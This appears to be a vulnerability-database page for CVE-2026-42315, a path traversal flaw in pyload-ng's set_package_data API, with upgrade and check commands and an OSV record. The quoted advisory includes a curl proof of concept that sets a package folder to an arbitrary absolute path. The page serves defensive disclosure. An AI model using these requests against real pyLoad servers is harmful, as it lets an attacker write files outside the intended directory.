CVE-2026-42315: Pyload ng Path Traversal Vulnerability
HIGHCVE-2026-42315 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-36: Absolute Path Traversal) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload vulnerable to path traversal via package folder name in set_package_data. Remediation is available by upgrading affected packages to version 0.5.0b3.dev100.
CVE-2026-42315 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-42315
To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=0.5.0b3.dev100
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-42315, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev100), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-36: Absolute Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42315 Affected Pyload ng Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
< 0.5.0b3.dev100
|
0.5.0b3.dev100
|
References
Frequently Asked Questions
What is CVE-2026-42315?
Which Pyload ng versions are affected?
What version fixes CVE-2026-42315?
Is pyload-ng affected?
What is the CVSS score of CVE-2026-42315?
What CWE is associated with CVE-2026-42315?
How can I check PyPI dependencies for CVE-2026-42315?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-838g-gr43-qqg9",
"modified" : "2026-06-08T19:48:40Z",
"published" : "2026-05-05T21:18:19Z",
"aliases" : [ "CVE-2026-42315" ],
"summary" : "PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data",
"details" : "### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X 'POST' \\\n 'http://localhost:8000/api/add_package' \\\n -H 'accept: application/json' \\\n -H 'X-API-Key: <valid api key>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"name\": \"set_package_data_exploit_poc\",\n \"links\": [\n \"http://example.com/file.txt\"\n ],\n \"dest\": 1\n}'\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X 'POST' \\\n 'http://localhost:8000/api/set_package_data' \\\n -H 'accept: */*' \\\n -H 'X-API-Key: <valid api key>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"package_id\": 5,\n \"data\": {\n \"_folder\": \"/users/root/\"\n }\n}'\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X 'GET' \\\n 'http://localhost:8000/api/get_queue' \\\n -H 'accept: application/json' \\\n -H 'X-API-Key: <valid api key>'\n```\nResponse:\n```\n[\n {\n \"pid\": 5,\n \"name\": \"set_package_data_exploit_poc\",\n \"folder\": \"/users/root/\",\n \"site\": \"\",\n \"password\": \"\",\n \"dest\": 1,\n \"order\": 1,\n \"linksdone\": 0,\n \"sizedone\": 0,\n \"sizetotal\": 0,\n \"linkstotal\": 1,\n \"links\": null,\n \"fids\": null\n }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.0b3.dev100"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.5.0b3.dev99"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42315"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-36" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T21:18:19Z",
"nvd_published_at" : "2026-05-11T18:16:35Z"
}
}